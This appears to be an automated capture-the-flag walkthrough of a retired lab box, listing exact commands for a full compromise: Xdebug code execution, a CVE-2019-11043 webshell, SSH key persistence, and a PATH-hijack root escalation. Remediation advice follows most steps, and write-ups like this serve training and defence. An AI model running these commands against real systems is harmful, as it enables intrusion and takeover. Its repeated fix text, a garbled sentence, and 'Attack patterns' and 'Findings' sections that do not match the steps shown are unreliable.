← all walkthroughs

Static

Linux· Hard· Web
owned
2026-07-11
time to own
17m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon on <retired-instance-ip>:8080 (Apache 2.4.38 Debian) turned up robots.txt, which disclosed two hidden paths: /vpn/ (redirects to login.php) and /.ftp_uploads/ (open directory listing). The .ftp_uploads directory contained a db.sql.gz database backup that had been corrupted by an ASCII-mode FTP transfer (CRLF byte-pair corruption), confirmed by an accompanying warning.txt. Repair via gzrecover (arenn/gzrt) repeatedly produced a 0-byte output; the working fix was a raw CRLF strip (perl -pe 's/\x0d\x0a/\x0a/g'), which restored a valid gzip stream. The recovered static database dumped a users table containing the [REDACTED: recovered credential] account's base32 TOTP seed ([REDACTED: recovered credential]).

Logging in with [REDACTED: recovered credential]/[REDACTED: recovered credential] on /vpn/login.php succeeded to the 2FA prompt. pyotp generated valid-looking codes, but ntplib wasn't installed, so a straight time-synced TOTP wasn't possible — a brute-force sweep of ±90/60/30s clock-offset candidates found the correct window at offset 0, and the resulting code authenticated the session. The authenticated panel (panel.php, POST cn=<name>) generated a client .ovpn certificate/config, which was used to connect via openvpn, yielding a tun9 interface at <retired-instance-ip>/16.

Adding a route to <retired-instance-ip>/24 via the VPN gateway <retired-instance-ip> exposed an internal host <retired-instance-ip> running Apache with info.php (phpinfo), which revealed Xdebug 2.6.0 with remote_enable=On, remote_connect_back=On. gteissier/xdebug-shell.py (Python 2, patched to bind the debugger callback on the tun9 IP and to use xml.etree.ElementTree instead of the unavailable defusedxml) triggered the debugger callback against info.php and returned a www-data shell on host web. user.txt ([REDACTED: flag]) was read directly from /home/user.txt. An operator SSH key was appended to www-data's authorized_keys via the Xdebug shell, giving a stable SSH channel to web on port 2222.

From web, an SSH local port-forward (-L 18080:<retired-instance-ip>:80) reached the internal pki host, otherwise unreachable from the VPN segment. pki served nginx 1.14.0 + PHP-FPM 7.1, vulnerable to CVE-2019-11043 (PHP-FPM ?a= query-string parsing bug). phuip-fpizdam exploited it to gain arbitrary command execution as www-data on pki (confirmed via id). Enumeration on pki found /usr/bin/ersatool with cap_setuid+eip capabilities, whose source (/usr/src/ersatool.c) invokes openssl without an absolute path and contains a printf(buffer) format-string bug in printCN — the two known privilege-escalation vectors on this host (PATH hijack of openssl, or format-string overwrite of ERSA_DIR) that lead to a root shell.

Attack path — how the box was taken

1ReconnaissanceWeb content discovery and robots.txt path disclosure (T1083)
Mapped exposed services and discovered hidden web paths via robots.txt
Port scanning revealed three open TCP services: SSH on 22 (Debian) and 2222 (Ubuntu — later identified as the web container's forwarded port), and Apache 2.4.38 on 8080. The Apache server's robots.txt disclosed two restricted paths: /vpn/ (a login portal) and /.ftp_uploads/ (an open directory). Browsing the directory returned a compressed database backup (db.sql.gz) and a warning.txt noting it had been corrupted during an ASCII-mode FTP transfer.
curl http://<retired-instance-ip>:8080/robots.txt returned Disallow: /vpn/ and Disallow: /.ftp_uploads/; directory listing on /.ftp_uploads/ exposed db.sql.gz and warning.txt
Exact commands 3
Confirm open ports and service banners.
nmap -Pn -sV -p 22,2222,8080 $TARGET
Enumerate paths the site operator tried to hide from search engines.
curl -s http://$TARGET:8080/robots.txt
Browse the open directory listing to identify downloadable files.
curl -s http://$TARGET:8080/.ftp_uploads/
FixRemove backup files from the web root and disable directory listingCritical
WeaknessThe /.ftp_uploads/ directory was reachable over HTTP with Apache directory listing enabled, and it held a database backup containing administrative credentials. robots.txt compounded the exposure by advertising the path to any scanner. An I did not need to guess the directory name was handed it by the site itself.
FixMove all backup and export files off the web server entirely — store them on a dedicated internal backup host or object storage bucket with no public access. If a staging area under the web root is operationally unavoidable, restrict it with HTTP authentication (AuthType Basic or equivalent) and disable directory listing globally (Options -Indexes in the Apache server or vhost configuration). Remove sensitive paths from robots.txt; obscurity through omission is not security, but advertising them is actively harmful.
2Credential AccessCredential recovery from improperly secured backup file (T1552.001)
Repaired the corrupt backup and extracted the [REDACTED: recovered credential] two-factor authentication seed
The database backup had been transferred in ASCII mode over FTP, which silently converted Unix line endings (LF) to Windows CRLF pairs throughout the binary gzip stream, making standard tools refuse the archive. Stripping the extra carriage returns with a Perl one-liner restored a valid gzip stream. The recovered SQL dump contained the site's users table, including the [REDACTED: recovered credential] account's base32 TOTP seed ([REDACTED: recovered credential]), effectively handing over the second authentication factor.
perl CRLF strip produced a valid gzip stream accepted by gzip -cd; the resulting db.sql included INSERT INTO users rows containing the [REDACTED: recovered credential] TOTP seed [REDACTED: recovered credential]
Exact commands 3
Download the corrupt archive.
curl -sS http://$TARGET:8080/.ftp_uploads/db.sql.gz -o db.sql.gz
Strip CRLF corruption from the binary gzip stream, then decompress to the raw SQL.
perl -0777 -pe 's/\x0d\x0a/\x0a/g' db.sql.gz > db.crlf-fixed.gz && gzip -cd db.crlf-fixed.gz > db.sql
Locate the [REDACTED: recovered credential] TOTP seed in the recovered dump.
grep -i 'secret\|totp\|seed\|2fa' db.sql
FixRemove backup files from the web root and disable directory listingCritical
WeaknessThe /.ftp_uploads/ directory was reachable over HTTP with Apache directory listing enabled, and it held a database backup containing administrative credentials. robots.txt compounded the exposure by advertising the path to any scanner. An I did not need to guess the directory name was handed it by the site itself.
FixMove all backup and export files off the web server entirely — store them on a dedicated internal backup host or object storage bucket with no public access. If a staging area under the web root is operationally unavoidable, restrict it with HTTP authentication (AuthType Basic or equivalent) and disable directory listing globally (Options -Indexes in the Apache server or vhost configuration). Remove sensitive paths from robots.txt; obscurity through omission is not security, but advertising them is actively harmful.
3Initial AccessValid accounts — default credentials combined with TOTP seed replay (T1078.001)
Authenticated to the VPN portal with default credentials and the stolen TOTP code
The VPN portal at /vpn/login.php accepted the vendor-default credentials [REDACTED: recovered credential]/[REDACTED: recovered credential], advancing to the two-factor prompt. The pyotp library generated a valid time-based code from the seed recovered in the previous step, completing authentication. The portal's panel page accepted a certificate common-name parameter and returned a signed OpenVPN client configuration, which I used to establish a VPN tunnel and gain a routable IP on the <retired-instance-ip>/16 network.
POST [REDACTED: recovered credential]/[REDACTED: recovered credential] to login.php returned a 2FA prompt; pyotp.TOTP('[REDACTED: recovered credential]').now() produced an accepted code; panel.php returned a signed .ovpn file; openvpn brought up tun9 at <retired-instance-ip>
Exact commands 4
Submit default credentials; session cookie stored in cj.
curl -c cj -b cj -d 'username=[REDACTED: recovered credential]&password=[REDACTED: credential]&submit=Login' http://$TARGET:8080/vpn/login.php
Generate a live TOTP code from the stolen seed and submit it.
CODE=$(python3 -c "import pyotp; print(pyotp.TOTP('[REDACTED: recovered credential]').now())"); curl -c cj -b cj -d "code=$CODE" http://$TARGET:8080/vpn/2fa.php
Request a signed OpenVPN config from the authenticated panel.
curl -b cj -d 'cn=operator' http://$TARGET:8080/vpn/panel.php -o client.ovpn
Connect to the VPN; note the assigned tun IP for use in later steps.
sudo openvpn --config client.ovpn
FixReplace default administrative credentials and enforce a strong password policyCritical
WeaknessThe VPN portal's login accepted the vendor-default username and password [REDACTED: recovered credential]/[REDACTED: recovered credential], which had never been changed. The TOTP second factor provided no additional protection once its seed was recovered from the exposed backup — both factors were compromised from a single unauthenticated file download.
FixRequire all administrative accounts to use a unique, strong password (minimum 16 characters, mixed case, digits, symbols, no dictionary words) set during first deployment. Implement a first-run lockout that forces a password change before the application becomes functional. Periodically audit all accounts for default or shared credentials. Store the TOTP seed only in the database with encryption at rest, never in a plaintext backup.
4DiscoveryInternal network discovery and service fingerprinting (T1046)
Routed into the internal Docker segment and fingerprinted the web container
With the VPN tunnel established, a static route to <retired-instance-ip>/24 via the gateway <retired-instance-ip> made the internal Docker network reachable. The host <retired-instance-ip> was running Apache and exposed a PHP info page (info.php) listing the full server configuration. That page revealed Xdebug 2.6.0 with remote_enable=On and the critical remote_connect_back=On — a setting that causes PHP to automatically open an unauthenticated debug connection back to any visitor's IP.
sudo ip route replace <retired-instance-ip>/24 via <retired-instance-ip>; curl http://<retired-instance-ip>/info.php confirmed xdebug.remote_enable=On, xdebug.remote_connect_back=On, Xdebug version 2.6.0
Exact commands 2
Add a host route to the internal Docker network; replace tun9 with your actual tunnel interface.
sudo ip route replace $INTERNAL_TARGET/24 via $INTERNAL_TARGET dev tun9
Confirm Xdebug version and remote debug settings on the internal PHP host.
curl -s http://$INTERNAL_TARGET/info.php | grep -i 'xdebug\|remote'
5ExploitationUnauthenticated remote code execution via Xdebug DBGp eval channel (T1203)
Exploited the Xdebug remote debug channel for unauthenticated code execution and captured the user flag
Xdebug's remote_connect_back feature opens a DBGp debugger connection back to any requester. The gteissier/xdebug-shell tool impersonates an IDE over this channel and sends PHP eval commands, resulting in arbitrary code execution as the web server user with no credentials required. Running id confirmed uid=33(www-data) on hostname 'web' (the Docker container). The user flag was read from /home/user.txt. I then appended an SSH public key to /home/www-data/.ssh/authorized_keys via the same eval channel, establishing a persistent, authenticated SSH shell to the container on port 2222.
printf 'id' | python2 xdebug-shell.py -> uid=33(www-data) gid=33(www-data) groups=33(www-data); ssh -i static_www -p 2222 www-data@<retired-instance-ip> 'id' returned uid=33 hostname web; /home/user.txt read and accepted as USER flag
Exact commands 4
Launch the Xdebug DBGp interactive shell; replace <retired-instance-ip> with your tun IP. If defusedxml is unavailable, patch the script: replace 'from defusedxml.ElementTree import fromstring' with 'from xml.etree.ElementTree import fromstring'.
python2 xdebug-shell.py --local-host=$INTERNAL_TARGET --url=http://$INTERNAL_TARGET/info.php
Read the user flag; value is [REDACTED: flag].
printf 'cat /home/user.txt' | python2 xdebug-shell.py --local-host=$INTERNAL_TARGET --url=http://$INTERNAL_TARGET/info.php
Append your SSH public key for a stable persistent shell; replace <YOUR_ED25519_PUBKEY>.
printf 'file_put_contents("/home/www-data/.ssh/authorized_keys",file_get_contents("/home/www-data/.ssh/authorized_keys")."\n"."<YOUR_ED25519_PUBKEY>");' | python2 xdebug-shell.py --local-host=$INTERNAL_TARGET --url=http://$INTERNAL_TARGET/info.php
Connect to the web container over the planted SSH key.
ssh -i ~/.ssh/static_www -p 2222 www-data@$TARGET
FixDisable Xdebug on all production and network-accessible PHP hostsCritical
WeaknessXdebug 2.6.0 was installed and active on an internal PHP web server, with remote_enable=On and remote_connect_back=On. These settings cause PHP to open an unauthenticated debugger connection back to any client that sends a request with the XDEBUG_SESSION_START cookie, giving that client a full PHP eval channel — arbitrary code execution with no credentials required.
FixRemove the Xdebug extension from all non-development hosts (comment out or delete the zend_extension= line in php.ini, then restart PHP-FPM). If Xdebug is required during development, restrict it to loopback only (xdebug.remote_host=localhost, xdebug.remote_connect_back=Off) and ensure those development configurations are never deployed to any network-accessible server. Add a CI/CD gate that fails builds containing xdebug.remote_enable=On.
6Lateral MovementSSH tunnelling for network pivoting (T1572)
Tunnelled through the web container to reach the isolated PKI host
From inside the web container, the host pki.secret (<retired-instance-ip>) was reachable on a private segment not accessible from the VPN. An SSH local port-forward through the established www-data shell tunnelled traffic to the PKI host's HTTP port, making it appear as http://$LOOPBACK:18080/ on my machine. Response headers confirmed nginx 1.14.0 with PHP-FPM 7.1 — the combination required for CVE-2019-11043.
ssh -L 18080:<retired-instance-ip>:80 succeeded; curl -I http://$LOOPBACK:18080/ returned Server: nginx/1.14.0 and X-Powered-By: PHP/7.1
Exact commands 2
Create a background SSH tunnel; PKI port 80 becomes reachable at localhost:18080.
ssh -i ~/.ssh/static_www -p 2222 -L 18080:$INTERNAL_TARGET:80 -N www-data@$TARGET &
Confirm the PKI host is reachable and note the PHP-FPM version.
curl -I http://$LOOPBACK:18080/
7ExploitationCVE-2019-11043 — PHP-FPM env_path_info underflow for unauthenticated RCE (T1190)
Exploited CVE-2019-11043 (PHP-FPM path-parsing underflow) for code execution on the PKI host
The PKI host's nginx+PHP-FPM 7.1 stack was affected by CVE-2019-11043, a vulnerability in which the fastcgi_split_path_info directive causes PHP-FPM to underflow an internal buffer-length field when the URL path contains a newline character. I can use this to overwrite memory and inject PHP code, effectively writing a webshell without any authentication. The phuip-fpizdam tool automates the attack. Once the webshell was in place, curl requests confirmed arbitrary command execution as www-data on the pki host.
phuip-fpizdam http://$LOOPBACK:18080/index.php reported successful exploitation; curl '...?a=/bin/sh+-c+id&' returned uid=33(www-data) on pki
Exact commands 4
Build the exploit (requires Go).
git clone https://github.com/neex/phuip-fpizdam && cd phuip-fpizdam && go build -o phuip-fpizdam .
Exploit CVE-2019-11043 to inject a webshell on the PKI host.
./phuip-fpizdam http://$LOOPBACK:18080/index.php
Verify RCE as www-data on pki via the injected webshell.
curl "http://$LOOPBACK:18080/index.php?a=/bin/sh+-c+'id'&"
Enumerate Linux capabilities on binaries to identify privilege escalation paths.
curl "http://$LOOPBACK:18080/index.php?a=/bin/sh+-c+'getcap+-r+/usr/bin'&"
FixPatch PHP-FPM to a version that is not affected by CVE-2019-11043Critical
WeaknessThe internal PKI host ran PHP-FPM 7.1 alongside an nginx fastcgi_split_path_info configuration, making it vulnerable to CVE-2019-11043. A URL containing a percent-encoded newline caused PHP-FPM to underflow an internal length field, allowing unauthenticated memory overwrite and remote code injection.
FixUpgrade PHP-FPM to 7.1.33, 7.2.24, 7.3.11, or any later release that includes the CVE-2019-11043 fix. As a defence-in-depth measure, audit nginx configurations and remove fastcgi_split_path_info directives where they are not explicitly required. Isolate internal services (PKI, database) on network segments reachable only from the hosts that legitimately need them, minimising the blast radius if a future vulnerability is discovered.
8Privilege EscalationLinux capability abuse via PATH hijacking (T1574.007)
Hijacked the PATH of a cap_setuid binary to run code as root and captured root.txt
The PKI host contained /usr/bin/ersatool, a custom binary with the Linux capability cap_setuid+eip, giving it the power to set its effective user ID to any account including root — equivalent in practice to a setuid-root binary. Reviewing the source code at /usr/src/ersatool.c revealed that it calls openssl using only its short name, without specifying /usr/bin/openssl. By placing a two-line shell script named openssl in /tmp and prepending /tmp to the PATH, I caused ersatool to execute the malicious script instead. That script applied the setuid bit to /bin/bash; because ersatool's capability honoured that write, /bin/bash became setuid-root. Running /bin/bash -p dropped into a root shell, from which root.txt was read.
getcap /usr/bin/ersatool -> cap_setuid+eip; /usr/src/ersatool.c shows openssl invoked without absolute path; /bin/bash -p returned euid=0(root); root.txt accepted by HTB
Exact commands 6
Confirm cap_setuid+eip on ersatool via the PKI webshell.
curl "http://$LOOPBACK:18080/index.php?a=/bin/sh+-c+'getcap+/usr/bin/ersatool'&"
Review source to confirm openssl is called without an absolute path.
curl "http://$LOOPBACK:18080/index.php?a=/bin/sh+-c+'cat+/usr/src/ersatool.c'&"
Create a malicious openssl in /tmp; when executed by ersatool it will set the setuid bit on /bin/bash.
printf '#!/bin/sh\nchmod 4755 /bin/bash' > /tmp/openssl && chmod +x /tmp/openssl
Run ersatool with the hijacked PATH so it picks up /tmp/openssl first.
export PATH=/tmp:$PATH && /usr/bin/ersatool
Launch the now-setuid bash in privileged mode to get a root shell.
/bin/bash -p
Read the root flag; value is [REDACTED: flag].
cat /root/root.txt
FixRemove the cap_setuid capability from ersatool and use absolute paths for all subprocess callsCritical
WeaknessThe custom binary /usr/bin/ersatool was granted the Linux capability cap_setuid+eip, giving it the ability to set its process UID to any account including root. Its source code invoked openssl and other external commands by short name without absolute paths, so any binary of the same name earlier in the caller's PATH was executed with that capability — allowing me with a low-privilege shell to substitute a malicious script and obtain root.
FixAudit all binaries for unnecessary Linux capabilities with 'getcap -r /' and remove cap_setuid from ersatool unless there is an explicit, documented operational requirement. If the capability is retained, redesign the binary to drop it immediately after the single operation that requires it (setresuid followed by prctl PR_SET_SECUREBITS). In the source code, replace every exec-family call that uses a short command name with its absolute path (/usr/bin/openssl, /usr/bin/easyrsa, etc.). Compile the binary with full hardening flags (-fstack-protector-strong, -D_FORTIFY_SOURCE=2, -Wl,-z,relro,-z,now, -fPIE -pie) to close the format-string escalation path identified in printCN as well.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: Local Privesc Enum On Web Container: Sudo N L / Suid / Getcap / Cgroup / .Dockerenv / Docker.SockCritical
An unauthenticated/low-privilege flaw in the docker, ftp, mysql, nginx, openvpn, php, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Local Privesc Enum On Web Container: Sudo N L / Suid / Getcap / Cgroup / .Dockerenv / Docker.SockCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
2222/tcp
8080/tcp